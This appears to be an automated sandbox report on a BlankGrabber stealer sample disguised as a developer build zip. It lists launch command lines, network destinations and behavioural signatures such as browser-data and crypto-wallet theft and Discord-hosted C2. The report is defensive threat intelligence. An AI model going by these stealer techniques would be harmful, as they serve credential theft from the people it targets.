Malware Analysis Report

2024-10-10 08:27

Sample ID 240618-hn73gawcjr
Target DevBuild inxkyy.zip
SHA256 3b1c183b8bcf7f56b28377830ff0f870a7a244ec018cab09855fbd503a37b031
Tags
upx execution spyware stealer blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b1c183b8bcf7f56b28377830ff0f870a7a244ec018cab09855fbd503a37b031

Threat Level: Known bad

The file DevBuild inxkyy.zip was found to be: Known bad.

Malicious Activity Summary

upx execution spyware stealer blankgrabber

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

UPX packed file

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Enumerates physical storage devices

Program crash

Unsigned PE

Enumerates processes with tasklist

Suspicious use of AdjustPrivilegeToken

Detects videocard installed

Gathers system information

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-18 06:54

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240611-en

Max time kernel

120s

Max time network

120s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Guna.UI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Guna.UI.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240611-en

Max time kernel

118s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1440 -s 636

Network

N/A

Files

memory/1440-0-0x000000007451E000-0x000000007451F000-memory.dmp

memory/1440-1-0x00000000012B0000-0x00000000012BA000-memory.dmp

memory/1440-2-0x0000000074510000-0x0000000074BFE000-memory.dmp

memory/1440-3-0x000000007451E000-0x000000007451F000-memory.dmp

memory/1440-4-0x0000000074510000-0x0000000074BFE000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Form1.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Form1.vbs"

Network

Country Destination Domain Proto
US 52.111.229.43:443 tcp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240221-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.vbs"

Network

N/A

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240508-en

Max time kernel

102s

Max time network

79s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI18242\python310.dll

MD5 178a0f45fde7db40c238f1340a0c0ec0
SHA1 dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe
SHA256 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed
SHA512 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

memory/2652-23-0x000007FEF60E0000-0x000007FEF654E000-memory.dmp

Analysis: behavioral15

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240419-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe"

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
GB 20.26.156.215:443 github.com tcp

Files

memory/1736-0-0x0000000074B8E000-0x0000000074B8F000-memory.dmp

memory/1736-1-0x0000000000BB0000-0x0000000000BBA000-memory.dmp

memory/1736-2-0x0000000074B80000-0x000000007526E000-memory.dmp

memory/1736-3-0x0000000074B80000-0x000000007526E000-memory.dmp

Analysis: behavioral16

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

52s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe"

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Solara\SolaraBootstrapper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 8.8.8.8:53 github.com udp

Files

memory/1416-0-0x00000000750EE000-0x00000000750EF000-memory.dmp

memory/1416-1-0x0000000000670000-0x000000000067A000-memory.dmp

memory/1416-2-0x0000000002AF0000-0x0000000002AFA000-memory.dmp

memory/1416-3-0x00000000750E0000-0x0000000075890000-memory.dmp

memory/1416-4-0x00000000750EE000-0x00000000750EF000-memory.dmp

memory/1416-5-0x00000000750E0000-0x0000000075890000-memory.dmp

memory/1416-7-0x00000000750E0000-0x0000000075890000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:57

Platform

win10v2004-20240226-en

Max time kernel

142s

Max time network

159s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\obj\Debug\Cristalized.DevBuild.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3868 -ip 3868

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 1056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4172 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 13.107.246.64:443 tcp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 91.65.42.20.in-addr.arpa udp

Files

memory/3868-0-0x000000007529E000-0x000000007529F000-memory.dmp

memory/3868-1-0x0000000000370000-0x000000000037A000-memory.dmp

memory/3868-2-0x0000000005330000-0x00000000058D4000-memory.dmp

memory/3868-3-0x0000000004D80000-0x0000000004E12000-memory.dmp

memory/3868-4-0x0000000075290000-0x0000000075A40000-memory.dmp

memory/3868-5-0x0000000004D30000-0x0000000004D3A000-memory.dmp

memory/3868-6-0x0000000075290000-0x0000000075A40000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20231129-en

Max time kernel

120s

Max time network

120s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Form1.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Form1.vbs"

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240611-en

Max time kernel

92s

Max time network

123s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.vbs"

Network

Country Destination Domain Proto
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240508-en

Max time kernel

121s

Max time network

122s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240611-en

Max time kernel

90s

Max time network

148s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Guna.UI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Guna.UI.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
BE 88.221.83.226:443 www.bing.com tcp
US 8.8.8.8:53 226.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240508-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.Designer.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.Designer.vbs"

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240611-en

Max time kernel

138s

Max time network

139s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.Designer.vbs"

Signatures

N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\Properties\Resources.Designer.vbs"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2712,i,8660989700097327804,17931739887231169645,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
BE 88.221.83.224:443 www.bing.com tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 224.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral9

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win7-20240611-en

Max time kernel

120s

Max time network

121s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI_Secure\AnonymeAPI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI_Secure\AnonymeAPI.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral10

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240611-en

Max time kernel

91s

Max time network

124s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI_Secure\AnonymeAPI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI_Secure\AnonymeAPI.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

N/A

Analysis: behavioral12

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:56

Platform

win10v2004-20240611-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI43002\rar.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
